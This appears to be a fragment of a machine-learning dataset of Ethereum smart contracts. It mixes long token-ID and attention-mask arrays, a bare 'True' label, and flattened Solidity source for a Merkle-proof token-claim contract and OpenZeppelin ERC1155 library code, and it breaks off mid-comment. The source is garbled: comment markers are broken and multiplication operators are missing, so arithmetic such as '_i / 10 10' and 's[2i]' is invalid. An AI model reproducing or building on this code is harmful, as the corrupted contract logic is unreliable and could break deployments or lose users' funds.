1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 19204, 25524, 1024, 2382, 1003, 19204, 6402, 1023, 1003, 4965, 1013, 5271, 4171, 1015, 1003, 4098, 4965, 1011, 2034, 1016, 2781, 1016, 1003, 4098, 15882, 1011, 2034, 1016, 2781, 17738, 22392, 1004, 5299, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 2184, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 1065, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 4651, 1006, 4769, 7799, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 3853, 21447, 1006, 4769, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
/** Submitted for verification at Etherscan.io on 2021-10-05 / pragma solidity >=0.7.0 <0.9.0; pragma experimental ABIEncoderV2; //SPDX-License-Identifier: MIT interface IERC20 { function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. / constructor() { owner = msg.sender; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(msg.sender == owner, "Only for owner"); _; } /* * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. / function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract TransferExclusive is Ownable { IERC20 public _tokenContract; address public _tokenAddress; address public _ownerAddress; mapping (address => uint256) claims; bytes32 _merkleRoot; struct inputModel { address addr; uint64 val; } constructor (address contractAddress, address ownerAddress) { _tokenContract = IERC20(contractAddress); _ownerAddress = ownerAddress; _tokenAddress = contractAddress; } function uint2str(uint _i) internal pure returns (string memory _uintAsString) { if (_i == 0) { return "0"; } uint j = _i; uint len; while (j != 0) { len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len; while (_i != 0) { k = k-1; uint8 temp = (48 + uint8(_i - _i / 10 10)); bytes1 b1 = bytes1(temp); bstr[k] = b1; _i /= 10; } return string(bstr); } function toAsciiString(address x) internal pure returns (string memory) { bytes memory s = new bytes(40); for (uint i = 0; i < 20; i++) { bytes1 b = bytes1(uint8(uint(uint160(x)) / (2*(8(19 - i))))); bytes1 hi = bytes1(uint8(b) / 16); bytes1 lo = bytes1(uint8(b) - 16 * uint8(hi)); s[2i] = char(hi); s[2i+1] = char(lo); } return string(s); } function char(bytes1 b) internal pure returns (bytes1 c) { if (uint8(b) < 10) return bytes1(uint8(b) + 0x30); else return bytes1(uint8(b) + 0x57); } function verify(bytes32 root, bytes32 leaf, bytes32[] memory proof) private pure returns (bool) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash < proofElement) { computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } return computedHash == root; } //function getMerkleRoot() public view returns(bytes32) { // return _merkleRoot; //} function setMerkleRoot(bytes32 merkleRoot) public onlyOwner { _merkleRoot = merkleRoot; } function setPrimaryContract(address contractAddress, address ownerAddress) public onlyOwner returns (uint256){ _tokenContract = IERC20(contractAddress); _ownerAddress = ownerAddress; _tokenAddress = contractAddress; return 1; } function getPrimaryAllowance() public onlyOwner view returns (uint256){ return _tokenContract.allowance(_ownerAddress, address(this)); } function getClaimedValue(address _address) public view returns (uint256){ return claims[_address]; } function transferExclusive(uint256 amount, uint256 max, bytes32[] memory proof) public returns (uint256){ require(_tokenContract.allowance(_ownerAddress, address(this)) >= amount, "Allowance too low"); bytes32 leaf=keccak256(abi.encode(abi.encodePacked("0x",toAsciiString(msg.sender), uint2str(max)))); require(verify(_merkleRoot, leaf, proof), "Verify failed"); require(claims[msg.sender]+amount <= max, "Amount not allowed"); _internalTransferFrom(_tokenContract, _ownerAddress, msg.sender, amount); return 1; } function _internalTransferFrom(IERC20 token, address sender, address recipient, uint256 amount) private { bool sent = token.transferFrom(sender, recipient, amount*1000000000000000000); require(sent, "Token transfer failed"); claims[recipient]+=amount; } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 2184, 1011, 5709, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1021, 1012, 1014, 1026, 1014, 1012, 1023, 1012, 1014, 1025, 10975, 8490, 2863, 6388, 11113, 9013, 16044, 2099, 2615, 2475, 1025, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 8278, 29464, 11890, 11387, 1063, 3853, 21447, 1006, 4769, 3954, 1010, 4769, 5247, 2121, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 14300, 1006, 4769, 5247, 2121, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 3853, 4651, 19699, 5358, 1006, 4769, 4604, 2121, 1010, 4769, 7799, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 1065, 3206, 2219, 3085, 1063, 4769, 2270, 3954, 1025, 2724, 6095, 6494, 3619, 7512, 5596, 1006, 4769, 25331, 3025, 12384, 2121, 1010, 4769, 25331, 2047, 12384, 2121, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 1996, 2219, 3085, 9570, 2953, 4520, 1996, 2434, 1036, 3954, 1036, 1997, 1996, 3206, 2000, 1996, 4604, 2121, 1008, 4070, 1012, 1008, 1013, 9570, 2953, 1006, 1007, 1063, 3954, 1027, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 1013, 1008, 1008, 1008, 1030, 16475, 11618, 2065, 2170, 2011, 2151, 4070, 2060, 2084, 1996, 3954, 1012, 1008, 1013, 16913, 18095, 2069, 12384, 2121, 1006, 1007, 1063, 5478, 1006, 5796, 2290, 1012, 4604, 2121, 1027, 1027, 3954, 1010, 1000, 2069, 2005, 3954, 1000, 1007, 1025, 1035, 1025, 1065, 1013, 1008, 1008, 1008, 1030, 16475, 4473, 1996, 2783, 3954, 2000, 4651, 2491, 1997, 1996, 3206, 2000, 1037, 2047, 12384, 2121, 1012, 1008, 1030, 11498, 2213, 2047, 12384, 2121, 1996, 4769, 2000, 4651, 6095, 2000, 1012, 1008, 1013, 3853, 4651, 12384, 2545, 5605, 1006, 4769, 2047, 12384, 2121, 1007, 2270, 2069, 12384, 2121, 1063, 5478, 1006, 2047, 12384, 2121, 999, 1027, 4769, 1006, 1014, 1007, 1007, 1025, 12495, 2102, 6095, 6494, 3619, 7512, 5596, 1006, 3954, 1010, 2047, 12384, 2121, 1007, 1025, 3954, 1027, 2047, 12384, 2121, 1025, 1065, 1065, 3206, 4651, 10288, 23633, 2003, 2219, 3085, 1063, 29464, 11890, 11387, 2270, 1035, 19204, 8663, 6494, 6593, 1025, 4769, 2270, 1035, 19204, 4215, 16200, 4757, 1025, 4769, 2270, 1035, 3954, 4215, 16200, 4757, 1025, 12375, 1006, 4769, 1027, 1028, 21318, 3372, 17788, 2575, 1007, 4447, 1025, 27507, 16703, 1035, 21442, 19099, 3217, 4140, 1025, 2358, 6820, 6593, 7953, 5302, 9247, 1063, 4769, 5587, 2099, 1025, 21318, 3372, 21084, 11748, 1025, 1065, 9570, 2953, 1006, 4769, 3206, 4215, 16200, 4757, 1010, 4769, 3954, 4215, 16200, 4757, 1007, 1063, 1035, 19204, 8663, 6494, 6593, 1027, 29464, 11890, 11387, 1006, 3206, 4215, 16200, 4757, 1007, 1025, 1035, 3954, 4215, 16200, 4757, 1027, 3954, 4215, 16200, 4757, 1025, 1035, 19204, 4215, 16200, 4757, 1027, 3206, 4215, 16200, 4757, 1025, 1065, 3853, 21318, 3372, 2475, 3367, 2099, 1006, 21318, 3372, 1035, 1045, 1007, 4722, 5760, 5651, 1006, 5164, 3638, 1035, 21318, 12380, 4757, 18886, 3070, 1007, 1063, 2065, 1006, 1035, 1045, 1027, 1027, 1014, 1007, 1063, 2709, 1000, 1014, 1000, 1025, 1065, 21318, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
/** Submitted for verification at Etherscan.io on 2021-12-28 / // SPDX-License-Identifier: GPL-3.0 // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.0 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.0 (access/Ownable.sol) pragma solidity ^0.8.0; /* * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. / abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor() { _transferOwnership(_msgSender()); } /* * @dev Returns the address of the current owner. / function owner() public view virtual returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. / function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts v4.4.0 (utils/Address.sol) pragma solidity ^0.8.0; /* * @dev Collection of functions related to the address type / library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ / function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.0 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /* * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. / interface IERC165 { /* * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. / function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.0 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /* * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId \|\| super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. / abstract contract ERC165 is IERC165 { /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol // OpenZeppelin Contracts v4.4.0 (token/ERC1155/IERC1155Receiver.sol) pragma solidity ^0.8.0; /* * @dev _Available since v3.1._ / interface IERC1155Receiver is IERC165 { /* @dev Handles the receipt of a single ERC1155 token type. This function is called at the end of a `safeTransferFrom` after the balance has been updated. To accept the transfer, this must return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` (i.e. 0xf23a6e61, or its own function selector). @param operator The address which initiated the transfer (i.e. msg.sender) @param from The address which previously owned the token @param id The ID of the token being transferred @param value The amount of tokens being transferred @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed / function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4); /* @dev Handles the receipt of a multiple ERC1155 token types. This function is called at the end of a `safeBatchTransferFrom` after the balances have been updated. To accept the transfer(s), this must return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` (i.e. 0xbc197c81, or its own function selector). @param operator The address which initiated the batch transfer (i.e. msg.sender) @param from The address which previously owned the token @param ids An array containing ids of each token being transferred (order and length must match values array) @param values An array containing amounts of each token being transferred (order and length must match ids array) @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed / function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/token/ERC1155/IERC1155.sol // OpenZeppelin Contracts v4.4.0 (token/ERC1155/IERC1155.sol) pragma solidity ^0.8.0; /* * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ / interface IERC1155 is IERC165 { /* * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. / event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /* * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. / event TransferBatch( address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values ); /* * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. / event ApprovalForAll(address indexed account, address indexed operator, bool approved); /* * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. / event URI(string value, uint256 indexed id); /* * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. / function balanceOf(address account, uint256 id) external view returns (uint256); /* * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. / function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /* * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. / function setApprovalForAll(address operator, bool approved) external; /* * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. / function isApprovedForAll(address account, address operator) external view returns (bool); /* * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. / function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes calldata data ) external; /* * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. / function safeBatchTransferFrom( address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC1155/extensions/IERC1155MetadataURI.sol // OpenZeppelin Contracts v4.4.0 (token/ERC1155/extensions/IERC1155MetadataURI.sol) pragma solidity ^0.8.0; /* * @dev Interface of the optional ERC1155MetadataExtension interface, as defined * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP]. * * _Available since v3.1._ / interface IERC1155MetadataURI is IERC1155 { /* * @dev Returns the URI for token type `id`. * * If the `\{id\}` substring is present in the URI, it must be replaced by * clients with 